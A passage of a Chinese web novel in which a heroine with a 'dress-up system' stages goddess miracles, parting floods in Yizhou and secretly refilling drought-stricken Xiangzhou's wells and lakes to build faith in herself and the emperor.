来不及思考这一切究竟是怎么回事,柔和的蓝色顺着她的手臂蔓到手心,好像是她自己在动,也可能是那股力量带着她在动,妫杳抬起手,指向了那肆虐的洪水:
“【摩西·分海】”
哗——
那片水,霎时间如轻盈的云一样,乖顺地分立两旁,砌成高高的水墙,露出原本被淹没的屋舍、道路、农田,吐出被吞进肚子的人。
不说旁人,妫杳自己都呆住了。
她沉在某种晕晕乎乎的震撼里,身体却仍旧随着这份神力而动,操控着水流顺河堤流向东海,改道流进提前修筑的水库,约束水流流速力量让其不至于损毁河堤……
更多的,水库河道难以盛下的,则汇聚作她们眼前那两堵水墙,待到日后水退了,再引导着顺河道顺流而下。
神迹当面,无数人被震惊地缓不过神来,就见一轮明月悬于头顶,清辉洒遍人间,带来光明。
旁人只当此为姞晖的手段,姞晖本人及自京中来的人却心下一紧,那月亮……
分明是恒娥——
妫杳攥紧衣袖,紧绷着情绪环顾四周,戒备着可能出现的敌人。
可是,为什么?恒娥不是已被神女打退,怎会出现在此处?
然等候良久,只见官府的人已组织起救援去援助从洪水中死里逃生之人,周围的一切都在有条不紊地进行着,她们却迟迟不见恒娥身影。
疑惑骤升,但此前情况如此,妫杳也只能暂时压下心绪,处理眼前的事务。
至于那蛟与巫山之灵,凡人环顾四周,不见它们的身影。
或许,那等非人生物的事该交给它们自行解决。
这么想着,妫杳在心底苦笑,说到底,她这个凡人也难以插手。
24.第 24 章
益州某处,离妫杳不算远的位置,姒昭换下蛟龙套装,狼狈地喘着粗气。
饶是如此,她依旧揉着系统的尾巴安慰道:“没事的没事的,我不是好好的吗?你不要着急啦。”
系统对此表示炸毛:
“哪里好啦?你现在连系统空间都进不去!脸色比鬼都差!”
姒昭扬起笑脸:“可是我们救了很多人、打出了很多成就、得到了积分和奖励啊。”
望着她的笑容,系统却根本高兴不起来。
“谁管那什么积分啊!”
她控诉姒昭:
“我都跟你说了,以你的精神力根本没办法同时操控这么多套装、动用这么多套装的力量,何况还是珍稀级套装!”
她每操控一件套装,动用一个技能,甚至打开系统空间,都是需要精神力做支撑的。
若非如此,姒昭早就把套装分发给打仗的士兵、修筑基础设施或军事工程的力妇等人了。
“早知道你这样,当初在你把套装【摩西】给妫杳的时候我就该拦着你!”
话虽如此,系统知道自己根本拦不住姒昭。
这么一想,她更生气了,几乎要被姒昭气的流眼泪。
“现在好了,你连系统空间都进不去,我看你怎么维持神女不吃不喝的人设!”
姒昭自知对方是为她好,只能挠挠侧脸,试探性开口:
“嗯……我现在暂时不用维持神女人设,可以大口吃饭。”
系统再次炸毛:“不许说!”
好吧好吧,姒昭举手投降。
其实她能感觉到自己的脑子有点超负荷了。
先是同时对多个指定对象使用入梦术,编造蛟龙入梦的假象,既圆了之前的谎,又提醒妫杳洪水来临,快醒来抗洪。
接着换上蛟龙皮套——不得不说系统出品必属精品,套装效果完全与穿戴者融为一体,那么大个皮套,她居然使得如鱼得水。
在冒出水面和妫杳对峙前,她其实已经穿着皮套把好多溺水的人送到高地了。介于单打独斗力量薄弱,她还让傀儡【牵丝戏】一起帮忙。
再之后,她得穿着蛟龙皮套使用系统的变声器去对妫杳放狠话,又要操控妫杳身上的套装[摩西]及其配套部件[鲸灵],一心多用,脑仁疼。
直到成功释放出技能[摩西·分海],引导约束水流一部分筑起高墙、一部分涌入她的系统空间。
[摩西·分海]:源于圣经故事。神的使者摩西在带领希伯来人经过红海的时候,神使海水分开,露出一片干地,海水在他们的左右作了墙壁使希伯来人渡海如履平地。
感恩机制让她抽到这个套装,感恩她的精神力很配合,虽然到后面有点勉强但还能操纵这个技能,不然她真没办法把水流都引入系统空间。
现在的状况是,一部分水还伫立在哪儿当水墙,大部分在她空间里。
至于为什么这么做……
当然是因为襄州还有一个旱灾啊。
她目前还没有找到什么能处理旱灾的方案,套装里的水只能做装饰,不可以直接使用。
所以,她只能手动“南水北调”了。
且除此之外,依照记载,还有很多地方会罹难受灾,她也想救那些地方的人。
系统:你还说!你知不知道这样我们就没办法进空间了!而且谁让你这么使用系统空间的!
姒昭:那个,系统空间也算空间嘛,装什么不是装呢
而做了这些要付出的代价就是,透支精神力导致的虚弱。
接连使用技能、同时操纵多个套装、强行打开系统空间装载洪水,这对于一个来自低魔世界的普通人类来讲是很艰难的。
但目前情况如此,她眼皮开始打架,意识陷入黑暗的前一秒,感觉到系统一边骂人一边把往她嘴里塞了什么:
“真服了你了,咽下去。”
知道系统不会害她,姒昭张口咽下那东西,沉沉睡去。
而系统守在她身旁,小声抱怨道:
“居然刚带宿主就自掏腰包买精神恢复药剂这种东西,真不让统省心。”
“算了,睡吧睡吧,我守着你。”
虽然嘴上不饶人,系统的动作却很温柔。
*
另一边,灾后的益州正重建秩序。
灾前防治工程是有用的,神迹同样起到了大作用。
有损失,有混乱,却不至于伤亡无数、损失惨重。
大家都在做着自己的事,共建家园。
高高的水墙伫立在两侧遥遥对望,负责干活的人群里混着灰白配色、友善活泼的鲸灵,它有在帮忙着背负物资、转移伤员。
仔细一看,人们看似专注于自己的事,实则都不自觉用余光偷看那忙来忙去的胖胖鲸鱼。
“它……不是鱼吗?”
“怎么没水也能活?”
“她还能飞哎。”
确实,虽然大家没见过鲸,但这模样,这身形,依她们看很明显就是放大版、颜色奇怪了一点的鱼啊。
现下水已经退入水库、河流以及筑成水墙,但鲸就那么漂浮在空中帮人们干活。
惊得朴实老百姓张大了嘴。
“咳咳,叫什么鱼?那是仙君!”
“咳!依我看,那是神迹,神迹,干什么都不奇怪”
梦中见过蛟龙、现场见过摩西分海、鲸灵斗蛟龙的大娘信誓旦旦道。
虽然这鱼仙君看起来很……憨厚可爱,但她们可没忘记它之前打的是蛟龙。
闻言,周围的人噤声,深以为然地点点头表示赞同。
感受到周围人好奇和善意的鲸灵也不排斥众人的亲近,反而主动和她们贴贴。
呃,唯一的需要注意的是男人勿近,否则会被一尾巴抽飞。
此前梦中见过妫杳蛟龙对峙的人都成了大明星,一有空身边就围了一大圈人,要听蛟君入梦的故事。
除此之外,妫杳更是走到哪儿就受到哪里的人的注目礼——她那件神力所化的衣袍还穿在身上呢。
更引人注目的是,那衣裳的颜色变了。
从之前海一样的蓝、银
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河点缀其间的神秘华丽,变成了黯淡忧愁的灰。
当然不是说妫杳现在不再光彩照人,只要穿着换装系统的衣服,一般情况下穿戴者都是人群的焦点。
只是与从前相比,如今的衣裳整体看起来像笼着黎明的雾,悠远淡然,但不再绚丽夺目。
对此,大家心中不约而同地想:大抵是神力耗尽的缘故吧。
毕竟妫杳亲口说过,这是神女的赐福,只是她身为凡人无法承载过多神力,故而只能使用神力一次。
众人感叹,然依旧敬重妫杳、尊崇神女和皇帝。
这身衣服更是当之无愧的神迹代名词。
同一时刻,暗中观察到这一切的系统:难怪宿主要走之前给那衣服染个色。
不仅如此,姒昭宁愿继续消耗精神力也要留下鲸灵,原来是为了帮忙灾后秩序重建。
醒来的姒昭举手补充:“不仅如此!”
“这样一来妫杳和鲸灵都是在人间宣扬神女信仰的使者!同时神女与皇帝相互关联,神女信仰上去了,皇帝威望也就上去了,政策的推行也会随之变得容易许多!”
要知道,黑死病时期可是人们对上帝的信仰最狂热的时期。
她们肯定不可能手动搞出黑死病,但如今天灾降世,同样是刷信仰的好时机。只要她操作的好,信仰蹭蹭上涨那都不是事。
同时姬荣的政策和她救世的举动绑在一起推行到每一处,几年后达不到遍地是女户都不可能!
她才没有那么多时间去等女人慢慢觉醒、男人甘愿退步,她要的是借着天灾、神力、皇帝的新政策粗暴推翻现有秩序,逼男人退位,每家每户必须是女人当户主,各地学堂里上学的必须是女人。
不愿意?
那不好意思了,你家领不到朝廷发放的红薯土豆,得不到神女赐下的《母猪的产后护理》《如何种植土豆红薯》等册子,洪灾到来时那避开各家各户的水独独朝你家去了,旱灾降临之际谁家都可以去神女那里领水,你家不行。
甚至到了地府,往生之时,唯有你家不得神眷。
除此之外,官府如今的政策也是对女子宽宥、对男子严苛。
待到科考时,大概是没有几个男子能顺利被录取的,届时朝廷的官员中女人也就慢慢多起来了。
说什么女人不觉醒什么自卑觉得自己不行,等她们先手握权力干上几天,她不信站起来过的人还能心甘情愿跪下去。
至于改变并不是一个容易的过程,巨变之下女人的心思,蜕变接受新结构是否让她们感到痛苦,这不是姒昭要考虑的。
她理解她们的迷茫痛楚,但她的意志不会因此改变,也绝不会为任何人退让。
想着未来的目标,姒昭表情凝重,一把抓起系统光球:“统统,道阻且长,我们还有好多事没做到,快,下一站!”
她应对蝗灾的药粉、襄州即将降临的旱灾、其她记载不详细但确实在受灾的地方、还有该表演没演上的骗术咳不是,神迹,还没有完成啊!
风中凌乱的系统:宿主你冷静啊!!!
25.第 25 章
益州那有关神女、蛟龙、鲸灵等神迹的消息如水面漾起涟漪般向外传播,但更为详实的信息却被快马加鞭送到了京城,层层向上,最终呈到帝王的御座前。
蛟龙入梦,控制洪水的走向,约束其力量,无形而无拘无束的洪水分而立为水墙,奇异的鲸灵打退恶蛟、助力灾后秩序重建……
遥远地方的神迹被纸笔镌刻,越过广袤大地、踏着飞扬的尘土,来到九重天上帝王的面前。
就像遥远的风带来千里外玫瑰的芬芳,幽远神秘。
姬荣细细阅读着信的内容,良久才发出一声叹息。
月色如水,她静默伫立,眼中倒映出亘古不变的月,想的却是不染红尘的神。
一丝神力尚且如此强大,能做到此等地步,那神女本身……
姬荣想起更多细节。
比如神女曾于女娲宫听道,再比如神女的老师是那大名如雷贯耳的西王母,娲皇身边的祥瑞腾蛇护卫神女左右。
她抬头,看见万古长存的青天。
*
“叮,恭喜你打出成就【魂牵梦萦】”
远在益州的姒昭缓缓打出一个问号:嗯?姬荣这么思念我的吗?难道她那边出事儿了需要我?这不能吧?
她那边能有什么事需要神女解决?
话虽如此,她还是让系统检测一下攻略对象的状态。系统对此表示宿主请安心,攻略对象一切安好。
得到消息的姒昭拍拍胸脯,放心了,她就说没事儿。
远处人声鼎沸,喧嚣热闹,她看着做灾后重建工作的力妇们撸起袖子干得热火朝天;
随意变幻身形大小的鲸灵混迹其间帮忙运输物资或充当起重机把建材运上高楼,甚至太阳过于毒辣时它变大后飞到众人头顶充当投下阴影的大树;
妫杳表面不显,实则为身着天衣而骄傲,更为自己能用这份力量救灾高兴,她和鲸灵一样是人们心中行走人间的神迹代表
……
这一切是如此美妙。
但姒昭清楚,她该走了。
益州已基本稳定下来,但大周受灾的地方不止这里。
一定还有她能帮上忙的地方。
于是当天,鲸灵告诉她们,它马上要离开了。
夕阳西下,昏黄的光映出一幅苍凉的剪影。
素来活泼调皮的鲸灵在此刻显出莫名的庄重沉稳来:“我要走了。”
妫杳姞晖等人听见它说。
那声音里再也没有了平日的活力满满。
它望着妫杳:
“神不与凡人居,我只能在外留那么久,现在,我该回巫山了。”
它本巫山之灵,自然该回到那里去。
“对了,还有你身上那一丝神力,它会带着这里的讯息回到神女身边。”
妫杳心中一动,这意思是……
“您是说,神女会知道这里发生的一切?”
本以为鲸灵会肯定,然而它颇为神秘地道:
“你为何会这般想?”
“神女既为神,天下万物,黄泉人间,自然都在掌控之中”
“四海八荒,过往将来,没有神女不知道的事”
“区别只在于神想与不想”
听此言,在场之人心神俱震。
是了,那可是神,自然无所不知,无所不在,哪里需要靠那一丝神力来监视她们、获取信息?
终究是她们狭隘了。
她们怎么就忘了,天灾的消息还是神女预言的?
见众人神色变换,平日调皮可爱、平易近人的鲸灵在此时显出了神的庄严隐秘,它望着妫杳等人,解释说:
“神力本也属于神女,自然渴望回到神女身边。在你身上护着你是神女给的任务,如今益州已平,它归心似箭啊。”
灰白配色的巫山之灵摆尾,围着她们游了一圈,像是祝福:
“你们可是得了神女相助的人,在这里要好好干活儿,不能懈怠哦”
说着,它想起什么似的:
“对了,你们益州是有大机缘的,还记得那蛟龙吗?它走水化龙不成,又被我打了一顿,如今离不得此地,需得重新修炼,待到日后时机成熟,再冲击大道。”
它说得高兴了,不自觉越游越高,直到达屋顶,下面的人只得眼巴巴仰头听着,场面格外喜感。
那鲸灵摇头晃脑:
“经此一遭,若它日后成了,保证会庇佑益州乃至整个大周,保此地风调雨顺,无灾无难。”
底下的人俱是一颤,心中情绪激荡,但也明白若要有那一日,需得今日的她们好好经营,让益州走向繁华。
妫杳上前一步,朝鲸灵一拜,承诺道:
“我等必不负神女相助,定使益州成富庶繁荣之乡。”
鲸灵很满意她上道,尾巴轻轻掠过:“好小子,你可要好好干。”
似有风来,妫杳忽觉身上一轻,便看见天衣化作一道流光,随鲸灵消失在远方。
而她身上,只留下凡间衣袍。
“大人”
姞晖为她取来外袍披上,但闻她轻轻叹了口气,定定望着流光消逝的地方,像不可避免地从美梦中醒来一样让人感到失落。
那边失去了鲸灵天衣的益州人民很苦闷,这边的骑独角兽离开的姒昭屁股疼。
嗯,骑太久了,铁腚都受不了。
如今的姒昭找到了新代步工具——各套装里她得到的坐骑类部件。
现在使用的是一号坐骑独角兽,虽说背上长了翅膀,头上多了个角,但总归能当马骑,还不需食物不需休息,好使。
为了不引人注目,姒昭专门把纯洁的白色独角兽染成了黑色,地点挑偏僻小路,时间挑夜晚,反正有系统导航。
要是不小心被看到也没事,益州都出现蛟龙了,其她地方出个什么山精野怪难道很奇怪吗?
经此一事,姒昭觉得自己又开辟了换装系统新用法,无论是身份限制买不到马不会赶驴
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还是找专人不方便,这些统统没关系,因为她可以拜托从换装系统抽出的大体型动物代步。
对此,系统两眼一闭:到底是谁教她把换装系统玩成这样的。
*
时间向前流淌,风将讯息传遍大地。
神女出手帮益州解决洪灾的事被口口相传,同最初的降世、预言天灾、祭典之日与天神相斗等混杂着如涟漪一般向四面八方扩散。
传言似涟漪,帝王的政令却是铁锤,切实落到每个地方,响彻大地。
按着神女留下的关于天灾的预言,结合从青蛇那里学到的东西,朝廷的官员把生产出的土豆红薯、经过【女巫的解药】浸泡后孕育的良种送往适宜的地区。
在此情境之下,民间的声音也各不相同。
“神女帮了益州,那为啥不帮俺们这儿呢?”
一农人抹了把头上的汗,望着火炉般的太阳,脸上的纹路像树皮般粗糙。
有关神女的消息如此之多,手上也切实握着神女赐下的种子,用着神女教的法子种地,到目前为止她们对“神女降世”这个消息不再存疑。
但乍一听哪里从神女那儿得了独一份好待遇,难免希望自己这儿也能得到神的庇护,日子过得再好点。
她们随口一问,不想还真有人认真答:
“因为男人呗。”
答的人道:
“你家还是男人做主吗?”
“立女户了吗?”
“孩子跟娘姓了吗?”
“有没有继续溺死女婴?”
“姑娘送去上学了吗?”
“是不是还想拿姑娘换彩礼?”
......
一连串问题问下来,部分人老实歇菜了。
或许有人碍于政令,想要朝廷的良种,故而把家里的户主改成了女子或让孩子立了女户,但家里说话的还是男人,还是会去立了女户的孩子家讨接济。
类似的事还未全部消除,天灾也还未结束。
见她们声音小了,回答的人一摊手:“看吧,你们明知天灾因此降世,神女最厌天残,还执意这般行事,难怪神女不来此庇护你们。”
这天聊的不愉快,大家也忙,便就此散了回去干活去了。
而那说话的人也跟着像一滴水流入大海一样融入人群,最终悄然进了官府的地盘。
这里还有很多和她一样的人,她们收集消息,整理文书,传递讯息,也做皇帝的喉舌将一些话传到百姓耳中。
在夜里望着星辰,她其实也不知道神女为什么帮的是益州,不知道自己说的是不是实情,但为着千千万万和她一样的女人,她很愿意继续说这样的话,助力皇帝政令的推行。
且这样的话不是只有一个人说,这样的思想不是只有一个人在传播,也并不局限于一个地区。
如果说最初她们只是将这些话传到百姓耳朵里,那么听得多了,早晚会传入心里。
遥远夜幕里,星光闪烁。
26.第 26 章
如今的大周,最引人注目的地方有三个:京城,益州,襄州。
京城有神女,益州有神迹,襄州将有神迹。
至于为什么是将有——神女的预言都传遍天下了,益州有恶蛟,襄州有旱魃。
恶蛟走水化龙引发洪灾,神女立马就派了身怀神力的朝廷命官前往赈灾救人,那么同理,襄州也该得此待遇。
在此情境下,被派往襄州那位朝廷命官可谓是万众瞩目,就等着她也展现什么神迹给她们开开眼。
人们对比着益州传来的消息睁大眼睛看这位女官的衣袍——好像没什么特别的;
再看她身边有没有冒出什么神奇动物——好像也没有。
日子一天天过去,头顶的太阳越来越烈,河湖的水一点点减少,那位朝廷来的大人也未显示出半点神迹。
最初人们想着也许是时候未到,待时机成熟必有神迹降临。
与此同时,无数有关神迹的传说如潮水向襄州涌来,她们听闻某处的天空升起两轮月亮,天汉之水灌入凡尘水井解了旱灾;某处得了神女指导朝廷做出的药粉,使蝗虫不食庄稼,且蝗虫可做人类的食物……
类似的言论不断传出,有关神女的信仰在发酵,然而最初备受瞩目的襄州却慢慢淡出大众视野。
因为这里始终没有神迹。
襄州大地越来越炎热,可用的水在烈日下消弭于无形,她们打井,跟着蛇找水,最后一无所获。
井里的水慢慢干了,百姓脑子里的水似乎也随之慢慢蒸发了,她们逐渐冷静下来,发觉在有关神迹的消息之下也有质疑抱怨的言论,并不是每个地方都出现了神迹、得到了神迹的帮助。
骄阳似火,烈日下的人擦擦汗,迫于强光眯着眼望了天很久,最终收回视线,重新握紧手中的农具。
在这片土地上,她们或许渴求神迹,但无论何时,她们心中明白最信任、最可靠的永远是自己。
她们永远依靠自己。
*
太阳慢慢沉了下去,星子渐渐升起。
日出而作,日落而息,收拾好一切归家的人是广袤大地上的剪影。
襄州愈发干燥炎热了,形势更加严峻,百姓其实和植物没有什么区别,她们同样是从土里来的,依靠着土地生活。
旱魃一出,赤地千里。
土地干旱了,她们会死。
吹来的风不带半分水汽,她们都知道,再这样下去,襄州会死人。
怀着沉重的心情,她们随太阳一起入睡。
但是自今夜起注定没有人能安睡。
月将升,然而代替它先降临的星河。
此夜注定无眠。
在这个没有霓虹灯的时代,夜里能带来光明的无非是烛火荧光。但烛火荧光能照亮什么呢?
这一刻在升起的光,亮的像黑夜里升起的太阳。
“好亮……”
“天亮了?这不刚黑吗?”
“刚躺下……”
“什么情况?”
人们纷纷起身,推开窗户或者大门。
映入眼帘的是茫茫云海。
翻涌的云雾替代了土黄色的大地,呼啸的风吹起云雾擦过凡人屋檐,惊醒铃声阵阵,最终又散于风中,更远处月华似练,清辉穿过云层洒遍人间,照得各家屋内亮堂堂。
——啊,刚刚照得人睡不着的原来是月光。
百姓不约而同地想。
被这一出震得回不过神来、处于懵懂状态的百姓愣愣地望着眼前场景,一时分不清自己在天上还是地下。
明月好像就在眼前,有人正欲奔向那月,瞧瞧是否触手可及,但见月亮骤然升空,徒留凡人叹惋。
然而星河就此显现。
哗啦——
似有浪潮声在耳边响起。
不等众人想明白,浩瀚海浪自天际奔涌而来,滔天巨浪似卷起千堆雪,将所有人的目光从地上转移到天上。
那气势实在惊人,吓得人仓惶惊叫出声:
“海——”
“涨潮了——”
“快退!”
虽不生活在海边,可瞧着这排山倒海的气势,众人正欲退入屋舍,恍然惊觉那浪似近实远,且——自天上来而未至凡间。
后退的脚步停住,她们抬眼望去,方才发觉自天际来的浪涛由万千星子组成,每一朵跃动的浪花都是无数溅起的星辰,似是银河奔赴此地。
在其身后,明月为之让步。
不等凡人弄清是怎样一回事,浩瀚银河落于凡尘——是真的落于凡尘。
她们瞪大眼睛,看着那些星子如最渺小的尘埃般滚滚落下,转瞬沉入脚下这漫漫云雾中,于是星辰点亮了雾海,柔软莹光照亮黑夜。
众人愣愣地望着这一切,出于本能般伸手朝脚下雾海摸去,然如水中捞月,不见半点星光。
呼——
有风来。
人群中有人张开五指,在风穿过后手指微动,喃喃道:“水……”
她的嘴唇翕动着吐出这个字,继而表情一变,提高音量道:“水!”
“有水!”
周围的人还不明白她在说什么,只见此人激动地抓住身边人的胳膊,朝所有人宣告:
“有水!那风里有水的湿气凉意!”
呼——
也许是为了验证她的话,也许是为了传递消息,又是一阵风吹来,将这句话带到每个人心中。
道出风中含水汽的女子紧抓着身边人的胳膊,声音里难掩惊讶与激情:
“朝风来的方向找!有水!”
她的脚步踉跄,另一只手紧握拐杖朝风来处走——她是盲人。
而盲人,其她感知更加灵敏。
她们能凭借感知判断清晨与傍晚,嗅出是否要下雨,在这个大家都沉浸在神迹带来的震撼中时,看不见的她们自然会更敏锐地感知到,姒昭刻意安排的,自整片湖上掠过的风所携带着的水的气息。
被此话惊醒的人正惊诧于“水”的存在,她们都知道这关头水对襄州的重要。可有人不知此话是否可信,有人望着满地星河不知如何迈出那一步。
呼——
又是风来。
似乎有神明听到她们心中的困惑苦恼,没过小腿的星辰毯慢慢消失隐退,有人正欲伸手挽留这绚烂如梦的场景,却见其隐没速度似乎加快了些,转瞬消失。
只有那看不见、不知发生了什么的盲人,拄着杖坚定地朝着某个方向前进。
见此情景,有人跟上了她的步伐。
走不了多远,她们的脚步就慢了下来。
已经不用走了。
因为沿途正传来呼声,各家的井和水缸又灌满了水,更远处干涸的湖泊也重新盛满了水,她们愣愣地望着,几乎不敢相信这一切。
之前明明都干了……
天上的星河退去,凡间的湖泊重新盛满清亮的水。
她们不可遏制地想起从别处来的传说:
天汉之水灌入凡尘解旱灾。
有人将手伸入灌满水的水井,那阵凉意浸得人心情舒畅,良久,她笑了:
“真是天上的神女娘娘,这水井哪里是这么使的……”
哪有人把井当水缸装水的啊。
周围的人也跟着笑了,却笑的温暖感激,笑的眼角带泪。
这不出水的井,如今也有水了,那干涸的湖,如今又蓄满水了。
她们抬头望天,看见星光闪烁。
*
同样的神迹发生在襄州各处,人们反应各异,但同样不变的是惊讶和劫余后生的喜悦。
与她们的喜形成对照的是累的吐舌头的系统。
她就想不明白了,怎么会有人如此勤劳
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。
几个月以来,姒昭带着她从益州出发,一边回忆着从背景资料里看来的受灾地,一边让她监测周围有无遗漏的、背景里没说的受灾之处。
她从南跑到呗,从益州跑到襄州,沿路把能用换装系统技能帮忙的都帮了一遍。
——她的套装技能当然不足以支撑这么多地方的事,但不是只有用技能才算得上帮忙。
比如她解决不了地震,但可以让鲸灵等帮忙灾后重建——大体型,能飞,多好用。
比如灾后疫病防治——她当然不懂医学,也缺少这类套装技能,但套装有个特点是什么?穿上保你光彩照人、保持最佳状态啊!
那生病的人、得疫病生疮的人算光彩照人吗?
当然不算。
因此,当姒昭给行医的医师穿上套装,就能保证她们与病人接触、给病人治病时不被疫病传染——光彩照人、保持最佳状态嘛。
除此之外,她可以让系统帮忙扫描检测她们得了什么病该怎么治,然后把消息传递给医师。
除此之外就是和朝廷的合作。
神女遣腾蛇讲道,听道的人自然该将学到的东西变现。
比如治蝗灾的方法什么的,其中最简单的一个就是拿来吃,嗯当然要适量,否则会中毒。
统子当初讲课那可都是比对着大周眼下的情况来的。
当然,为了她神女的大业,做这些的时候她总会搞点大家都能看见的大场面表明这是巫山神女的神迹的。
就像这次一样,她可以悄悄给灌满湖泊,但她非要搞大场面。
——做好事要留名才能继续她的大业。
嗯,为了保证各处关于神迹的传说一致,她每次搞的场面都差不多。
绝对不是因为她穷没几个能用的背景!
系统:呵呵。你用的那几个部件全都是第一次上朝搞女娲造人那套时用过的。而且你怎么连强光手电筒都用上了?!
姒昭:……
姒昭沉默,姒昭微笑,姒昭表示:套装不再多,好用就行。
光靠那点套装部件她怎么照亮黑夜?
还得现代普通套装里的强光手电筒。
几个手电筒一起上,鸡看了都要起来打鸣。
姒昭打开她的手电筒,继续干活。
她现在已经可以娴熟地一边干活一边和系统斗嘴了。
譬如此刻,她还躲在云雾缭绕背景里给水井灌水。
——襄州那么大个地方,干旱面积那么大,她当然要骑着独角兽走遍每一个干旱的地方给每片湖泊都灌满水。
潇洒的神迹背后是苦命的打工人。
姒昭当然知道水井是打水的,但这时节襄州哪里来的水?
地下水水位降成那样,没有哪口井还出着水,那还不如当缸用。
现在在她眼里,湖都是个缸。
至于她哪里来那么多水灌满这些“缸”——当然是各地的洪水啦。
她一路走来,首先在益州用套装【摩西】处理洪灾的时候开发了系统空间新用法——能装。
按计划是用套装技能约束引导水流能入水库入水库,能顺流而下顺流而下,实在不行两堵水墙伫立着,等日后慢慢引导它流入江河湖泊。
但她灵机一动让它们都进系统空间了。
虽然精神力耗损严重分多批进空间,但最后鲸灵走的时候水墙已经被她的空间吃干净了。
她一路走一路救灾,遇到其它干旱的地方就找准湖泊河流水缸打开系统空间放水,遇到发洪水的地方就装一点——当然由于套装摩西的技能只能用一次,后几次装水她都很狼狈。
但是!她的思路是可行的!
一路走来,她计算着时间,最终在襄州旱灾达到不可挽回的地步前赶到,总归是按计划进行的。
系统望着她,悬浮的光球微微发亮。
27.第 27 章
那夜的襄州天地颠倒,星河化作大地,明月触手可及。
待到众人睁开眼,风带来水的湿润气息。
光在一瞬点亮暗夜,又于眨眼间消失,一息之间重现千里之外,如战时点燃烽火一样接续燃起,又似红烛转瞬熄灭。
这样浩大的声势,宛若太阳一样耀眼的光芒,坐镇襄州的朝廷命官自然不可能无所作为。
事实上,那光太明亮了,即使未至主城也已吸引了无数人的注意。
它于黑暗里亮起又消失,不多时再次出现,一步一步向主城靠近,也逐步点燃她们心中的火焰激情。
现在的大周讨论度最高的是什么?
神女,天灾,帝王政令。
而神迹与神女紧紧捆绑,相辅相成,被无数黎民咀嚼吞咽、口口相传,在周的土地上步步生花——只是这花一直没能在襄州生长绽放。
襄州未曾有过一个神迹,这里的一个县、一座城,都没有过。
百姓们对此看得开,没有就没有,她们犯不着也不敢去编造假神迹,这没意义。比起这个襄州人更想拿着官府给的良种、教的新法子好好种地。
只是近来旱情严峻,人力无法扭转局势,心中免不了生出求神的法子。
因此,星河一出,她们第一个想到的就是神迹,除了神女,谁能另黑夜变作白昼、能使星河与土地颠倒?
眼下,神似乎真的听见她们的祈祷、回应她们了。
心潮澎湃,所有人的目光追逐着那光移动,为首的女官更是抓紧每一分每一秒整理仪容,又令手下的人去维持好秩序,生怕冒犯了神女。
就这样,在众人忐忑激动的心情下,巨大的月在主城升起,浩瀚银河如瀑布倾泻。
“有两个月亮!”
相似的惊呼声在街头巷尾响起,官与民的心思却大不相同。
初始之时只见银河皓月,自朝堂来的女官有一瞬以为是恒娥并为此感到慌张,随即又想起别处传出的传闻,也是提到过月,便转而平静下来。
只见星汉不见神女,她也按礼制做足恭敬的姿态,与民同乐之时亦不忘对神迹怀有敬畏。
百姓则觉讶异,又很快为满地星子好奇着迷。
抬头望,一个高悬九天之上,一个瞧着近在咫尺。
也正是因此造就了视觉误差,那个高悬的似乎小巧如玉盘,另一个则巨大的仿佛落下来能占据整个襄州。
让人恐惧,也让人着迷。
当神迹在主城出现,此处已是万人空巷。
人们怀抱着难言的渴望憧憬,注视着这生平仅见的神迹。
她们惊讶,欢喜,震撼,与身边的人分享喜悦,得见这般情景,她们觉得此生大概再难为任何景物欢呼,可真正将气氛推向高潮的是月下那道飘渺朦胧的身影。
那轮硕大的、仿佛架梯登上屋顶就能摘下的明月前,逐渐有云雾汇集,仙气缭绕。
纯净的白雾似有灵性,慢慢汇成了仙人清冷的身姿。
满头青丝如上好的黑绸,臂间披帛似汩汩清泉流淌,衣袂飞扬,不染纤尘。
“快看那里!看月亮前面!”
“好像有人……”
“什么人!那是神女!”
在百姓朴素的价值观里,这番情景之下,又能站在月亮之前,肯定是神女。
“神女……”
她们的声音不自觉低了下来。
若是平日,自然不至于如此,可如今神女似乎就在眼前,她们便不自觉有了些叶公好龙的意味。
不敢高声语,恐惊天上人。
在此之时,那朝堂命官自当为表率,理了理特意穿上的官服,在刚刚争分夺秒刻意摆出来的祭台前下拜:
“大周天子特遣往襄州赈灾使臣贺熙,拜见神女”
她携无数官兵端正下拜,声音铿锵。
满城欢呼里她们的声音如此细微,但贺熙坚持礼不可废,无论神女是否听到,她们都要以礼相待。
神女值得。
月辉做配,星辰铺路,神明长身玉立,仙气飘飘。
明明夜那样黑,明明身后的月如此皎洁,此刻却都沦为神的配饰。它们簇拥着神明,像她忠实的信徒。
有风来,神女随风而动。
系统:“……宿主你小心别踩空了。”
站在屋顶上努力凹姿势的姒昭:“我知道。”
别问,问就是没抽到新的飞天技能。
之前那个【飞天·炽】在日食那天用了,现在她们为了凹人设,只能——踩屋顶。
反正星河部件遮脚,明月做背景吸引目光,姒昭提前踩好点找个没人的屋顶练习好,现在天色暗,百姓们站的又远,她再卡一下视角,谁知道表面凌空踏上星辰路的神女其实站在屋顶上呢?
如今一看,她果然仪态万千,飘渺似仙。
神女俯瞰凡尘,眸光幽然,轻轻一挥衣袖,赤发青衣的身影浮现在众人眼前。
于是明月前便有了两道身影。
不等凡人看清那赤发青衣之人,但见神女抬手,一层水膜便将那人包裹在其中,犹如枷锁。
有人认出了那身影,出声道:
“旱魃!”
《山海经》有云:“有人衣青衣,名曰黄帝女魃。”
当然,她们能认出来,更重要的原因是神女的预言。
此刻,便也觉得一切都对上了,这自然只会是旱魃。
云端之上的神女手指微动,轻轻在那禁锢着旱魃的水膜上一点,女魃便又消失了。
姒昭:套装部件【牵丝戏】头发衣服染个色出场,套上个泡泡部件,伸手点两下,好了整套一起收回去。
对此,凡人则一头雾水。
“这……”
“旱魃呢?”
“神女把她处理掉了吗?”
“那襄
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州是不是再也没有旱灾了?”
众人议论纷纷,然而——
嗡——
突如其来的声音响彻大地,这声落在人们耳畔,似有波纹震荡,让她们不禁捂起了耳朵。
是神罚吗?
是不是神女不满她们的议论才如此惩戒?
人们小心地抬头看神女,但那道身影依旧高贵清冷,不为外物所动。
她们看不出神的心思。
不知道百姓在想什么的姒昭:对不起,不小心把音响开大了,系统的麦克风也没调好……
好在系统是专业的,她很快搞定一切提示姒昭:“可以了宿主。”
闻言,姒昭望着下首的百姓,淡然出声:
“我已禁锢旱魃的能力,使其不可伤人,不可饮人血啖人肉,然天残仍在,旱魃不会退去”
“赤地千里,寸草不生,亦或甘露清泉,五谷丰登,全在人为”
神女声音并不大,却传遍此地,声入人心。
她望着凡间,神情似悲悯,又似无情。
承载着万千期盼的目光,她自巍然不动。
这一夜,等待神女到来的时间、神女降临在眼前的时间,好像都很漫长,又似乎都很短暂。
